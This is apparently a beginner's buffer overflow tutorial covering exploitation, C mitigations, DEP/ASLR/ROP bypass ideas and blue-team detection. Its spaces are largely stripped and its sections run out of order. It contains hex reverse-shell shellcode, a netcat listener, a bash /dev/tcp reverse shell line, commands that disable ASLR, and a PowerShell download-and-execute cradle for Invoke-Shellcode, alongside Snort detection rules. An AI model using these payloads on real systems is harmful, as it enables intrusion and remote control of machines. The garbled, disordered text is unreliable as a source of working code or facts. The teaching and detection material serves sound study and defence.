x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode
FinalResults
SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere
theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback
toourldquoattackingrdquoterminal(farthestright)
CommonBufferOverflowExampleandMitigations(inC)
WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare
morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated
stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline
orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()
andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe
assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe
registersofacompiledbinaryorreviewingtheoutputfromGHIDRA
gets
Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability
VulnerableCode(SOURCE)
printfexternallink(Inputsomethingnastyhere)
gets(something)
VulnerableCode(ASSEMBLY)
FixedCode
printfexternallink(Inputsomethingnastyhere)
fgets(usernameLENGTHstdin)
strcpy
Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone
contiguoustomemorywherethepayloadisstored
VulnerableCode
charstr1[10]
charstr2[]=badstuffhere
strcpy(str1str2)
FixedCode(SOURCE)
enumBUFFER_LIMIT=1024
intmain()
chardst[BUFFER_LIMIT]
charsrc[]=badstuffhere
intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)
if(buffer_lengthgt=BUFFER_LIMIT)
printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn
buffer_lengthBUFFER_LIMIT-1)
VulnerableCode(ASSEMBLY)
Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows
FixedCode(SOURCE)
enumBUFFER_BOUNDARY_SIZE=1024
charstr1[BUFFER_BOUNDARY_SIZE]
charstr2[]=badstuffhere
strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize
strcat
YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto
thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin
sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied
FixedCode(SOURCE)
defineBUFFER_BOUNDARY_SIZE1024
charbuff[BUFFER_BOUNDARY_SIZE]
Usesecurestrncpythenuse
strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)
buff[BUFFER_BOUNDARY_SIZE-1]=0
strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)
strcmp
ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach
otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot
validatethesizeoftheinputagainstthepredefinedbuffer
OtherMitigationstoBufferOverflows
During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable
ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the
following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits
need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my
own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the
newcomertodiptheirtoesintothesubjects
Canary
A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions
prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary
ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps
detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly
overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith
https0x00secorgtexploit-mitigation-techniques-stack-canaries5085
httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained
httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf
DEP-DataExecutionProtection
DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware
executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as
non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns
For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag
of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other
linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow
security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks
forroutineswithanytypeofbuffer
In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get
the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the
bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP
setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may
introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP
httpslwnnetArticles422487
httpslinuxdienetman8execstack
httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in
httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your
httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae
BypassingDEP
Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to
David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view
ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining
So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu
will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you
overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary
arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in
linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable
in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another
option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in
the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the
application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of
instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope
somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle
ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot
intendtohavethewordldquoheartrdquodidherdquo
Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your
payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP
gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET
instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps
An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute
ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script
which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1
But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it
difficulttocallexecve()orsystem()
Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove
found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create
a new executable space or change the flag for existing executable space However finding the memory addresses to these functions
andcallingthemappearstobeadifferentstory
httpsgithubcomJonathanSalwanROPgadget
httpswwwrapid7comresourcesrop-exploit-explained
httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf
httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf
httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi
ng-chains]pdf
ASLR(Addressspacelayoutrandomization)
Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation
BypassingASLR
Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and
windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible
chunksandhopefullythishelpsguidemyselfandotherfurtherstudies
NonASLRlinkedbinaries
It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with
some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something
that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR
enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the
memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program
with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass
ASLRandbeginaROPattack
httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf
httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf
PointerLeaksDanglingPointers
If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot
for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code
into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE
which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory
object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that
the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how
virtualfunctionsarereferencedviavirtualtables
httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf
httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf
httpswwwrapid7comresourceswhy-you-should-be-using-emet
HEAPSprayswithASLRdisabledVirtualAlloc()inWindows
If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create
write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can
either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by
VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this
seemslikejustplainluck
httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified
httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf
BlueteamEngineeringforpostBufferOverflow
For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just
learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos
are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues
SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to
Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I
thoughtthroughthisIlumpedthedetectionintotwobuckets
1 DetectingFailedBufferOverflowAttempts
2 DetectingSuccessfullyBufferOverflowAttempts
DetectingFailedBufferOverAttemptsinWindows
If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events
are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the
oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog
For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as
the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases
whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked
EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their
sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a
similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM
Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a
collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via
GPOetc
ltQueryListgt
ltQueryId=0Path=Applicationgt
ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt
ltQuerygt
ltQueryListgt
To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and
configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service
to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on
somepredefinedSplunkpolicy
Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an
exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog
The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server
BasicallythispolicysayswhichlogscangetsentontotheSIEM
[WinEventLogForwardedEvents]
disabled=0
renderXml=1
evt_resolve_ad_obj=1
The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to
and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk
queries
SampleEMETEvent
EMETversion55587131892
EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE
EAF+checkfailed
ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE
UserNameDOMAINuser
SessionID1
PID0x1348(4936)
TID0xF90(3984)
ModuleSOMEDLLdll
ModBase0x11630000
ModAddress0x11642E99
MemAddress0x76F501A4
Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to
prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may
need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice
beachheadtomaintainafoothold
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf
httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server
DetectingSuccessfulBufferOverAttempts
The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker
has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed
which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two
approachespaintsasolidpicture
1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)
2) Hostbasedsignaturedetection
NetworkBasedDetection
Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the
clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication
1 EncodedHEXpayloadmalwarewithintheclientattack
2 Abunchofx90rsquoswithintheclientattack
3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal
If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have
SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from
bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit
generatedBSDshellcode
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)
content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416
classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment
Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at
2010_07_30updated_at2016_07_01)
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)
content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly
referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any
attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag
Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)
Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly
impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS
interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the
payloadsolargethattherulesareignoredduetoperformanceaswellSneaky
HostBasedDetection
In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and
made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer
OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean
Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas
netviewdomain
netuserdomain
netaccountsdomain
Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas
systeminfo
netlocalgroupldquoAdministratorsrdquo
uname-a
catprocissue
Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell
start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait
powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString
(http10022108081CodeExecutionInvoke-Shellcodeps1)
Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc
ENJOY
ReferencesandHonorableMentions
GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors
movltreggtltmemgt
movltmemgtltreggt
movltreggtltconstgt
movltmemgtltconstgt
Examples
moveaxebxmdashcopythevalueinebxintoeax
movbyteptr[var]5mdashstorethevalue5intothebyteatlocationvar
pushmdashPushstack(OpcodesFF898A8B8C8E)
The push instruction places its operand onto the top of the hardware supported stack in memory Specifically push first decrements
ESP by 4 then places its operand into the contents of the 32-bit location at address [ESP] ESP (the stack pointer) is decremented by
pushsincethex86stackgrowsdown-iethestackgrowsfromhighaddressestoloweraddresses
Syntax
pushltreg32gt
pushltmemgt
pushltcon32gt
Examples
pusheaxmdashpusheaxonthestack
push[var]mdashpushthe4bytesataddressvarontothestack
popmdashPopstack
The pop instruction removes the 4-byte data element from the top of the hardware-supported stack into the specified operand (ie
register or memory location) It first moves the 4 bytes located at memory location [SP] into the specified register or memory location
andthenincrementsSPby4
Syntax
popltreg32gt
popltmemgt
Examples
popedimdashpopthetopelementofthestackintoEDI
pop[ebx]mdashpopthetopelementofthestackintomemoryatthefourbytesstartingatlocationEBX
leamdashLoadeffectiveaddress
The lea instruction places the address specified by its second operand into the register specified by its first operand Note the
contents of the memory location are not loaded only the effective address is computed and placed into the register This is useful for
obtainingapointerintoamemoryregion
Syntax
lealtreg32gtltmemgt
Examples
leaedi[ebx+4esi]mdashthequantityEBX+4ESIisplacedinEDI
leaeax[var]mdashthevalueinvarisplacedinEAX
leaeax[val]mdashthevaluevalisplacedinEAX
In this write up and many blogs yoursquoll pay close attention to IP ESP and JMP in the vulnerable program However the other assembly
commands are good for understanding generally how higher level code gets executed and for other potential overflow techniques So
letrsquos summarize all this into a simple picture I found this while watching a Youtube video by ComputerPhile I thought it summarized
everythingquitenicely
On the left hand side you have the storage location we discussed previously For example you have you ldquoStackrdquo and ldquoHeaprdquo called out
The right hand of this picture basically breaking down the stack into some of the locations that get put into the stack Say a math
function parameters (ie your dynamic variables in code) your return address or Instruction Pointer IP etc etc Okay so to a noob
maybethisdoesntmeanalotsoletrsquosmoveontosomemorevisualexamplesfirstbeforewetalkaboutanymoreldquocoderdquo
SowehaveabufferandsomeotherCPUbasedmemoryspacesforthoseregisterslocationsAllthatassemblycodeishelpingusadd
thingsintotheregistrylocationjumptonewfunctionsincodetakethingsoutanddomathematicaloperationsforyourfunctionsinthe
higherlevelcode
IfyoureadalongotherpartsoftheregistryareusedforstoringpointerstothenextfunctionprogramordatainourbufferetcInthis
pictureifyousendldquoToomuchdatardquototheprogramandyourprogramhasnoboundscheckingthenthebuffercanoverflowyour
instructionpointerIfyoucanoverwriteaninstructionpointer(akaIPEIP)withthememorylocationofyourmalwarethenyoucantrick
theprogramintoexecutingyourmalwarewiththeprogramspermissions
OverflowtheBufferCrashintotheStackWriteaReturnAddressintoEIPthatpointsbacktoyourmalware
LetrsquosbreakdownthevulnerableservercodeinAssemblytobetterunderstandwhatrsquoshappeningwhenwefuzztheapplicationand
overflowwithabunchofArsquosandBrsquosTypeobjdump-dVulnerableServer
1 TheaddressofvulnReadstartsatmemoryaddress78dinhex
2 x414inhexor1044indecimalbytesarereservedforthelocalvariablesBecauseofincludeBUFFER_SIZE=1024alarge
isallocatedasalocalvariable
791 81ec14040000 sub$0x414esp
3 Theaddressofthebufferstarts0x410inhexor1040indecimalbytesfrombase-pointerebpThismeansthat1040bytesare
reservedforbufferbutrememberthatBUFFER_SIZE=1024
8d85f0fbffff lea-0x410(ebp)eax
4 Memorylocationsseemtobeaddingandsubtractingbasedonspaceneededtostoredifferentoperationsandmemory
locationsUntilfinally
5 Later-0x40c(ebp)eaxor1036arereservedandatmemorylocation7e6weseeacallto550ltreadpltgt
defineBUFFER_SIZE1024
defineHEADER_SIZE4
EIP(ReturnAddresstonextfunction)
EBPofVuln_Read(BasePointer)
to_read
buffer
read_bytes
Lastvariable(StackPointer)
So1040byteofmemorywasallocatedandthestackgrowsdownfromEBPSomeassemblyoperationsoccurandvariablesarestored
andpointersandupdatedandthememorygrowsandshrinksWithoutbeinganassemblygeniusweseethespecificfunction
(readplt)withthevulnerabilitycalledandcaninferthatthebufferallocationbeforethatisusedforthefunctioncallInthiscase1036
availablebytesLetrsquosbreakthatdown
1036bytesforthebuffer+4bytesforEBP+4bytesforEIP(InstructionPointer)
AnotherimportantpieceofthepuzzleistoldquoFindrdquothecodethatyoujustputintothebufferInourexamplethatwillbeabunchofArsquos
thatweuseduringfuzzingHoweverasweprogresstheArsquoswillgetreplacedwithmalwarebecauseabunchofArsquosarentthatuseful
outsidethecontextoflearning
Afterwefindthecodewewanttobesurethatthecomputerwillldquomove-alongrdquountilitgetstowhateverdataweputintothebufferThe
reasonforthisisbecauseknowingldquoexactlyrdquowherethecomputerputsourArsquosBrsquosandCrsquosishardWemightoverwriteallthoseldquoArsquosrdquo
ldquoBrsquosrdquoandldquoCrsquosrdquobutfindingtheexactmemorylocationthecomputerdecidestoputtheminisnotalwaysviablebecausememory
locationsmovearoundabitPluswewanttomakesurethatthecomputerdoesnrsquotexitorterminateexecutionbeforeitgetstotheBrsquosor
laterourldquomalwarerdquo
Themostbasictechniquetoaddressthisiswithx90NOP(nooperation)WereplaceourArsquos(x41)withx90andthattellsthe
computertojustldquomovealongrdquountilyougettothenextinstructionAsanoobitgivesusabiglandingpadtofindLookbelowatthe
pictureaboveandyoursquollseeanarrowthatpointsbacktotheldquoBufferrdquowithabunchofx90sThismeanswewillputaninstructioninto
IPEIPthatreturnsthecomputerbacktothebufferandtheRETURNwilllandintoabunchofNOPSandthenslidedownintotheBrsquosin
ourprogram
Thefollowingtwopicturesreallyputeverythingintoperspectiveformeignorethebuffersizenumbers
EnoughtheoryshowmeTheCode
DisablingDEPASLR
YoumustdisableASLRandDEPonalabmachinetolearnthebasicbufferoverflow
ASLR-Linux
echo0|sudoteeprocsyskernelrandomize_va_spaceDEPPassedascommandlineargumentinMakefileoratgcccommandline
-fstack-protector-Waexecstack
Onax86linuxarchitecturewithDEPASLRdisabledhellipLetrsquosgiveitashotfirstwersquollrunthevulnerableserverPoCwithinGDB
compilesthevulnerableCprogramwithanumberofprotectionsremovedDisabling-fstack-protectorremovessomemodernprotectionagainstoverwritingtheinstructionpointerLetrsquosdeferuntillaterexecstackwillmarkbinaryorsharedlibraryasrequiringexecutablestackMakefileallor
gcc-gvulnServerc-fno-stack-protector-z-Waexecstack-oServergdbServer1337
OkaysothevulnerableTCPserverisloadedintoGDBGDBisadebuggertogiveasaccessintothememoryregistersassemblyetcetcIfyourefamiliarwithwebdevelopmentlikeIwastheconceptofsettingbreakpointsatdifferentmomentsinthecodewasveryfamiliarItseemsintimidatingbutareallygoodcheatsheetishere
GDBCheatSheet
httpswwwcheatographycomfristlecheat-sheetsclosed-source-debugging-with-gdbFromtheterminaltype
run1337
NowitrsquostimetoldquoFuzzrdquoWealreadywentthroughsometheoryandrationalebeforebutitwasnrsquotdescribedinandend-to-endtypeofcontextArefresherhellipldquoFuzztestingorFuzzingisaBlackBoxsoftwaretestingtechniquewhichbasicallyconsistsinfindingimplementationbugsusingmalformedsemi-malformeddatainjectioninanautomatedfashionrdquoldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfyourememberIprovidedsomesimplecommandstoillustratetheexampleForthisapplicationwecandoitcompletelyhandsonpython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]Sowecouldapproachthisacoupleofways
1 Gobackintothereversedengineeredbinariesandtrytodeterminewhatourbuffersizeisthroughthesourcecodeandassembly
2 RuntheprogramthroughthrewGDBandsetbreakpointsandfindops-codethatindicateBUFFERvariablesize3 Writeaniterativefuzzingscripttofindtheoverflowpoint
